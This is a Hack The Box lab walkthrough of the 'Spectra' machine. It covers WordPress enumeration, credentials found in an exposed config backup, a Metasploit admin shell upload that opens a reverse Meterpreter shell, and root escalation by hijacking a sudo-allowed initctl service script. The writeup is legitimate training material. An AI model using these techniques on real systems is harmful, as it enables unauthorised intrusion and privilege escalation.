Welcome back to another hack the box walkthrough. This week we are looking at Spectra. On the surface, this seems like a simple box but it actually provides a large number of vulnerabilities and I must say that I have tried many, but I will not walk you through them all, only the most interesting and useful.

Let's begin with a typical Nmap scan:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-19 22:04 CET
Nmap scan report for 10.10.10.229
Host is up (0.043s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.83 seconds

Three open ports this time:

  • 22 - ssh
  • 80 - HTTP
  • 3306 - MySQL instance

When we find port 80 open it often leads to a web server of some kind. So browsing on port 80 brings us to a website that contains a couple of links. I understand that I have to modify my /etc/hosts file to reach the spectra.htb domain.

I have two new portals now. The second one (Test) answer with an error on the database connection.

But the first one is much more interesting; an Issues Management System on WordPress.

Asking to my wappalyzer plugin, I understand that the specific version is 5.4.2.

So, proceed with the exploit-db to search for exploits. For the specific version I found nothing, so proceed to search on google, and something comes out. There is a good series of vulnerability, but all the exploits I tried don't work.

N4nj0/CVE-2020-35590
Brute-force tool for WordPress Plugin Limit Login Attempts Reloaded >=2.13.0 - Login Limit Bypass (CVE-2020-35590) - N4nj0/CVE-2020-35590

Here the execution of the script:

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.229 - Spectra (unk)/attack/git/CVE-2020-35590]
└─$ sudo python3 wp-brute.py -c -u http://spectra.htb/main -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt 
[sudo] password for in7rud3r: 
[-] Error: Check the login request response.
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.229 - Spectra (unk)/attack/git/CVE-2020-35590]
└─$ sudo python3 wp-brute.py -c -u http://spectra.htb/main -H X-Forwarded-For -l administrator -P /usr/share/wordlists/rockyou.txt
[-] Error: Check the login request response.

Obviously, among all the proven exploits, there is no lack of classic default credentials. So go ahead with a dirb session on the two portal.

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.229 - Spectra (unk)/attack/git/CVE-2020-35590]
└─$ dirb http://spectra.htb/ 

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Mar 19 22:59:20 2021
URL_BASE: http://spectra.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://spectra.htb/ ----
+ http://spectra.htb/index.html (CODE:200|SIZE:283)                                                               
==> DIRECTORY: http://spectra.htb/main/                                                                           
==> DIRECTORY: http://spectra.htb/testing/                                                                        
                                                                                                                  
---- Entering directory: http://spectra.htb/main/ ----
+ http://spectra.htb/main/index.php (CODE:301|SIZE:0)                                                             
==> DIRECTORY: http://spectra.htb/main/wp-admin/                                                                  
==> DIRECTORY: http://spectra.htb/main/wp-content/                                                                
==> DIRECTORY: http://spectra.htb/main/wp-includes/                                                               
+ http://spectra.htb/main/xmlrpc.php (CODE:405|SIZE:42)                                                           
                                                                                                                  
---- Entering directory: http://spectra.htb/testing/ ----
+ http://spectra.htb/testing/index.php (CODE:500|SIZE:2646)                                                       
==> DIRECTORY: http://spectra.htb/testing/wp-admin/                                                               
==> DIRECTORY: http://spectra.htb/testing/wp-content/                                                             
==> DIRECTORY: http://spectra.htb/testing/wp-includes/                                                            
+ http://spectra.htb/testing/xmlrpc.php (CODE:200|SIZE:0)                                                         
[...]

Nothing new apart from the classic WordPress folders.

Discovered that even the non-working test portal is a wordpress with the same version as the first, I tried many of the exploits again on this portal too, aware, however, that the error connecting to the database did not make the portal functional, therefore useless, but try it is still a good thing in these cases.

Suddenly calling the test portal on the root, without specifying the index file, I realize that the folder is listable.

And an interesting file (wp-config.php.save) is shown (to read the content show the source of the file).

<?php
[...]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
[...]

There's a credential to connect to the MySQL database. Anyway, the credential doesn't work on the portal, as a portal's user, but I remember you that I have an open port of the MySQL service exposed on this machine, but it doesn't work.

┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.229 - Spectra (unk)/attack/git/CVE-2020-35590]
└─$ mysql -u devtest -p'devteam01' -h 10.10.10.229 -p 3306 -D dev                                              1 ⨯
Enter password: 
ERROR 1130 (HY000): Host '10.10.14.218' is not allowed to connect to this MySQL server

──(in7rud3r㉿Mykali)-[~/…/_10.10.10.229 - Spectra (unk)/attack/git/CVE-2020-35590]
└─$ telnet 10.10.10.229 3306                                                                                   1 ⨯
Trying 10.10.10.229...
Connected to 10.10.10.229.
Escape character is '^]'.
EHost '10.10.14.218' is not allowed to connect to this MySQL serverConnection closed by foreign host.

At this point I chose to move to the MySQL instance, to try to exploit it through some vulnerabilities but will be another wrong way. Searching for exploits to bypass the MySQL authentication I found this.

‘MySQL Authentication Bypass Exploit’ - SecuriTeam
‘The MySQL’ database server is the world’s most popular open source database.′ An authentication vulnerability was reported in our previous article, ‘MySQL Authentication Bypass’, which allows a remote attack to connect to the vulnerable MySQL server and authenticate using a zero-length password. A …

The exploit executed and gave me a positive looking result, but the output says different.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.229 - Spectra (unk)/attack/perl]
└─$ ./script.pl devtest 10.10.10.229 3306                                                                    130 ⨯
Received greeting:
00000000        45 00 00 00 FF 6A 04 48 6F 73 74 20 27 31 30 2E
00000010        31 30 2E 31 34 2E 32 31 38 27 20 69 73 20 6E 6F
00000020        74 20 61 6C 6C 6F 77 65 64 20 74 6F 20 63 6F 6E
00000030        6E 65 63 74 20 74 6F 20 74 68 69 73 20 4D 79 53
00000040        51 4C 20 73 65 72 76 65 72

Sending caps packet:
00000000        A9 78 30 30 78 30 30 78 30 31 78 38 35 78 61 36
00000010        78 30 33 78 30 30 78 30 30 78 30 30 78 30 30 78
00000020        30 31 78 30 38 78 30 30 78 30 30 78 30 30 78 30
00000030        30 78 30 30 78 30 30 78 30 30 78 30 30 78 30 30
00000040        78 30 30 78 30 30 78 30 30 78 30 30 78 30 30 78
00000050        30 30 78 30 30 78 30 30 78 30 30 78 30 30 78 30
00000060        30 78 30 30 78 30 30 78 30 30 64 65 76 74 65 73
00000070        74 78 30 30 78 31 34 78 30 30 78 30 30 78 30 30
00000080        78 30 30 78 30 30 78 30 30 78 30 30 78 30 30 78
00000090        30 30 78 30 30 78 30 30 78 30 30 78 30 30 78 30
000000A0        30 78 30 30 78 30 30 78 30 30 78 30 30 78 30 30
000000B0        78 30 30

Received reply:
00000000
Response insufficent
Received OK reply, authentication successful!!

A good result is shown to me when I use the password discovered with the administrator user on the WordPress portal.

Now I have another direction to follow, let's try with the plug-in installed on the WordPress portal. Searching for "Akismet 4.1.5 exploit".

WordPress Plugin Akismet - Multiple Cross-Site Scripting Vulnerabilities
WordPress Plugin Akismet - Multiple Cross-Site Scripting Vulnerabilities.. webapps exploit for PHP platform
Reading on the forum seems to understand that there are different way to achieve access to the target machine, and probably, in differents writeup, you could show that some others have successfully exploited the plug-in, I'm not so lucky, probably!

In any case, I am still in a bind and despite having discovered many potential security issues I have not yet been able to get a shell on this server. I decide to go back to WordPress, convinced that I need an RCE exploit. I now turned to search for "WordPress 5.4.2 exploit rce"...

Subtle Stored XSS in WordPress Core | Pentest Limited - Research
Our research piece on an XSS vulnerability within WordPress core that allowed users to embed arbitrary JavaScript within a post.

This seems to be a very interesting exploit but unfortunately, it is incomplete.

Now, in another direction, I move onto the Metasploit framework and try to search for exploits on WordPress, but, as I imagined there are far too many to manually comb through. So I try to search for the exploits released after the release date of the specific version of WordPress I am trying to crack.

The list is now acceptable, but all the exploits I tried haven't worked. Here the limited list of exploits I tried.

msf6 > search wordpress | grep 2020
[-] No results from search                                                                                                                                                                               
msf6 > grep 2020 search wordpress
   20  auxiliary/scanner/http/wp_abandoned_cart_sqli                  2020-11-05       normal     No     Abandoned Cart for WooCommerce SQLi Scanner                                                     
   22  auxiliary/scanner/http/wp_chopslider_id_sqli                   2020-05-12       normal     No     WordPress ChopSlider3 id SQLi Scanner                                                           
   25  auxiliary/scanner/http/wp_duplicator_file_read                 2020-02-19       normal     No     WordPress Duplicator File Read Vulnerability                                                    
   26  auxiliary/scanner/http/wp_easy_wp_smtp                         2020-12-06       normal     No     WordPress Easy WP SMTP Password Reset                                                           
   29  auxiliary/scanner/http/wp_loginizer_log_sqli                   2020-10-21       normal     No     WordPress Loginizer log SQLi Scanner                                                            
   35  auxiliary/scanner/http/wp_total_upkeep_downloader              2020-12-12       normal     No     WordPress Total Upkeep Unauthenticated Backup Downloader                                        
   40  exploit/multi/http/wp_ait_csv_rce                              2020-11-14       excellent  Yes    WordPress AIT CSV Import Export Unauthenticated Remote Code Execution                           
   43  exploit/multi/http/wp_dnd_mul_file_rce                         2020-05-11       excellent  Yes    Wordpress Drag and Drop Multi File Uploader RCE                                                 
   44  exploit/multi/http/wp_file_manager_rce                         2020-09-09       normal     Yes    WordPress File Manager Unauthenticated Remote Code Execution                                    
   47  exploit/multi/http/wp_simple_file_list_rce                     2020-04-27       good       Yes    WordPress Simple File List Unauthenticated Remote Code Execution                                
   51  exploit/unix/http/pihole_dhcp_mac_exec                         2020-03-28       good       Yes    Pi-Hole DHCP MAC OS Command Execution                                                           
   67  exploit/unix/webapp/wp_infinitewp_auth_bypass                  2020-01-14       manual     Yes    WordPress InfiniteWP Client Authentication Bypass

It's time to look for some suggestions from the forum and one of the messages I read is "Try with msfconsole again !"

I ran another search in msfconsole and found a potential candidate.

55  exploit/unix/webapp/wp_admin_shell_upload                      2015-02-21       excellent  Yes    WordPress Admin Shell Upload

This is the configuration I provide to the options of the exploit and the execution of it.

msf6 exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   devteam01        yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.229     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /main            yes       The base path to the wordpress application
   USERNAME   administrator    yes       The WordPress username to authenticate with
   VHOST      spectra.htb      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.218     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 10.10.14.218:4444 
[*] Authenticating with WordPress using administrator:devteam01...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /main/wp-content/plugins/GnAnHlojhH/bbdYeOZPjh.php...
[*] Sending stage (39282 bytes) to 10.10.10.229
[*] Meterpreter session 1 opened (10.10.14.218:4444 -> 10.10.10.229:42146) at 2021-03-20 22:57:23 +0100
[+] Deleted bbdYeOZPjh.php
[+] Deleted GnAnHlojhH.php
[+] Deleted ../GnAnHlojhH

meterpreter > shell
Process 97879 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
ls -la
total 0
pwd

hostname
spectra
cd /
ls -la
total 108
drwxr-xr-x  22 root root        4096 Feb  2 14:52 .
drwxr-xr-x  22 root root        4096 Feb  2 14:52 ..
drwxr-xr-x   2 root root        4096 Jan 15 15:54 bin
drwxr-xr-x   4 root root        4096 Jan 17 20:10 boot
drwxr-xr-x  15 root root        1980 Mar 19 14:02 dev
drwxr-xr-x  63 root root        4096 Feb 11 10:24 etc
drwxr-xr-x   8 root root        4096 Feb  2 15:55 home
drwxr-xr-x   7 root root        4096 Feb 11 10:26 lib
drwxr-xr-x   6 root root       36864 Feb 11 10:26 lib64
drwx------   2 root root       16384 Jan 15 15:52 lost+found
drwxrwxrwt   2 root root          40 Mar 19 14:00 media
drwxr-xr-x   4 root root        4096 Jan 15 15:53 mnt
drwxr-xr-x  10 root root        4096 Feb  3 16:42 opt
lrwxrwxrwx   1 root root          26 Jan 15 15:33 postinst -> usr/sbin/chromeos-postinst
dr-xr-xr-x 275 root root           0 Mar 19 14:00 proc
drwx------   6 root root        4096 Feb 11 10:27 root
drwxr-xr-x  38 root root         920 Mar 19 16:12 run
drwxr-xr-x   2 root root        4096 Feb 11 10:24 sbin
drwxr-xr-x   2 root developers  4096 Jun 29  2020 srv
dr-xr-xr-x  12 root root           0 Mar 19 14:00 sys
drwxrwxrwt   3 root root         840 Mar 20 15:07 tmp
drwxr-xr-x  11 root root        4096 Jan 15 15:53 usr
drwxr-xr-x  10 root root        4096 Mar 19 14:00 var
whoami
nginx

Well, I'm in.
Navigating for the folders I found the list of available users on the machine.

ls -la home
total 32
drwxr-xr-x  8 root    root    4096 Feb  2 15:55 .
drwxr-xr-x 22 root    root    4096 Feb  2 14:52 ..
drwx------  4 root    root    4096 Jul 20  2020 .shadow
drwxr-xr-x 20 chronos chronos 4096 Mar 19 14:03 chronos
drwxr-xr-x  5 katie   katie   4096 Mar 20 13:04 katie
drwxr-xr-x  6 nginx   nginx   4096 Mar 19 14:49 nginx
drwxr-x--t  4 root    root    4096 Jul 20  2020 root
drwxr-xr-x  4 root    root    4096 Jul 20  2020 user

And where is located the user.txt flag, but I have no access to it.

ls -la /home/katie
total 48
drwxr-xr-x 5 katie katie 4096 Mar 20 13:04 .
drwxr-xr-x 8 root  root  4096 Feb  2 15:55 ..
lrwxrwxrwx 1 root  root     9 Feb  2 15:55 .bash_history -> /dev/null
-rw-r--r-- 1 katie katie  127 Dec 22 05:46 .bash_logout
-rw-r--r-- 1 katie katie  204 Dec 22 05:46 .bash_profile
-rw-r--r-- 1 katie katie  551 Dec 22 05:46 .bashrc
drwx------ 2 katie katie 4096 Mar 19 18:56 .gnupg
drwx------ 3 katie katie 4096 Jan 15 15:55 .pki
-rw------- 1 katie katie    7 Mar 19 19:00 .python_history
-rw------- 1 katie katie 6352 Mar 20 13:04 .viminfo
drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
-r-------- 1 katie katie   33 Feb  2 15:57 user.txt
cat /home/katie/user.txt        
cat: /home/katie/user.txt: Permission denied

I try to download and launch the linpeas.sh script on the machine, but I have no permission to execute it, so, I have to search for another direction. The first place I think is the real wp-config.php file of the main portal.

<?php
[...]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'dev' );

/** MySQL database password */
define( 'DB_PASSWORD', 'development01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
[...]

Another good password, but again I spend a lot of time trying it but it doesn't work. Another dead end that is unlocked when once again I go to the forum posts for some suggestions.

"user : make sure you didnt miss any file from the automation tools output [we definitely getting close to the summer]"
"[...]just enumerate from the base directory[...]"
"[...]Remember to check all system dirs!"
"[...]The path is unusual[...]"

Well, I try to search in the system folders.

# from the forum
"user : make sure you didnt miss any file from the automation tools output [we definitely getting close to the summer]"
"[...]just enumerate from the base directory[...]"
"[...]Remember to check all system dirs!"
"[...]The path is unusual[...]"

tree -L 2 /etc
/etc
[...]
|-- arcvm_dev.conf
|-- asound.conf
|-- autologin
|   `-- passwd
[...]
|-- passwd
|-- passwd-
[...]
|-- security
|   |-- access.conf
|   |-- group.conf
|   |-- limits.conf
|   |-- limits.d
|   |-- namespace.conf
|   |-- namespace.d
|   |-- namespace.init
|   |-- pam_env.conf
|   `-- time.conf
[...]
|-- shadow
|-- shadow-
[...]

tree -L 2 /opt
/opt
[...]
|-- autologin.conf.orig
[...]

tree -L 2 srv
srv
`-- nodetest.js

I find interesting copies of the passwd and shadow files followed by a '-' character. Comparing them I discover that the user Katie is missing in the second, despite all this information does not help me. Subsequently, a file in the "autologin" folder (which is the automation referred to by the user in the forum) called passwd with an interesting string inside.

cat /etc/autologin/passwd
SummerHereWeCome!!

A similar file is found on the opt folder, referred always to the autologin automation.

cat /opt/autologin.conf.orig
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description   "Automatic login at boot"
author        "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
  # Inject keys into the login prompt.
  #
  # For this to work, you must have already created an account on the device.
  # Otherwise, no login prompt appears at boot and the injected keys do the
  # wrong thing.
  /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter
end script

The reference inside it, about the previous folder, convinces me that I'm heading in the right direction. I start trying to change the user using the "su" command on the shell, but it doesn't work (I can't survive), tried to spawn a tty shell, but it doesn't work, so my last chance is to connect through the ssh channel.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ ssh katie@10.10.10.229
Password: 
katie@spectra ~ $ cat user.txt
e******************************0

And I take the first flag, go for the root. Checking what can I do using the sudo without password I found an interesting command.

katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl
katie@spectra ~ $ /sbin/initctl
initctl: missing command
Try `initctl --help' for more information.
katie@spectra ~ $ /sbin/initctl --help
Usage: initctl [OPTION]... COMMAND [OPTION]... [ARG]...

Options:
      --session               use D-Bus session bus to connect to init daemon (for testing)
      --system                use D-Bus system bus to connect to init daemon
      --dest=NAME             destination well-known name on D-Bus bus
  -q, --quiet                 reduce output to errors only
  -v, --verbose               increase output to include informational messages
      --help                  display this help and exit
      --version               output version information and exit

For a list of commands, try `initctl help'.

Report bugs to <upstart-devel@lists.ubuntu.com>
katie@spectra ~ $ 

Searching on the internet for "/sbin/initctl exploit" I found this interesting article that doesn't work for me (as is), but gives me an idea about how to exploit it.

SUDO Privileges at initctl| Privileges Escalation Technique | Ishara Abeythissa
initctl admit with System Administrators to link & communicate with Upstart. Able to manage user jobs. As example If D-Bus has been configured to allow non privileged users to invoke all Upstart…

I can approach for the same solution, I see that a lot of these services running on the machine is test service, probably added from the other users. I can try to add another one using the command I identified, but I'll use one of these services already available.

katie@spectra /tmp $ sudo -u root /sbin/initctl list
[...]
test stop/waiting
test1 stop/waiting
[...]
test7 stop/waiting
[...]
test6 stop/waiting
[...]
test4 stop/waiting
test10 stop/waiting
[...]
test8 stop/waiting
[...]
test3 stop/waiting
[...]
test2 stop/waiting

The test service is configured with this body script.

katie@spectra /tmp $ cat /etc/init/test.conf 
description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script

    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js

end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

The service executes a javascript script inside the srv folder called nodetest.js, let's look at it.

katie@spectra /tmp $ cat /srv/nodetest.js 
var http = require("http");

http.createServer(function (request, response) {
   response.writeHead(200, {'Content-Type': 'text/plain'});
   
   response.end('Hello World\n');
}).listen(8081);

console.log('Server running at http://127.0.0.1:8081/');

That's interesting, the script launch a web server on port 8081 that answer with the message "Hello World". I run the service and try to call the URL... it works and I receive the message.

katie@spectra /tmp $ curl http://127.0.0.1:8081/
Hello World

Well, my idea is to replace the "Hello World" message with the content of the root.txt file that contains the flag. If it will work, I'll see the root flag on the response of the portal. So, proceed and...

katie@spectra /tmp $ sudo /sbin/initctl stop test
test stop/waiting
katie@spectra /tmp $ vi /srv/nodetest.js 
katie@spectra /tmp $ cat /srv/nodetest.js 
var http = require("http");

http.createServer(function (request, response) {
   response.writeHead(200, {'Content-Type': 'text/plain'});
   
   response.end(require('fs').readFileSync('/root/root.txt', {encoding:'utf8', flag:'r'}));
}).listen(8081);

console.log('Server running at http://127.0.0.1:8081/');
katie@spectra /tmp $ sudo /sbin/initctl start test
test start/running, process 5121
katie@spectra /tmp $ curl http://127.0.0.1:8081/
d******************************c
katie@spectra /tmp $

And that's all folks, see you next time!

This weeks artwork comes from Brazillian artist Fernando Nunes.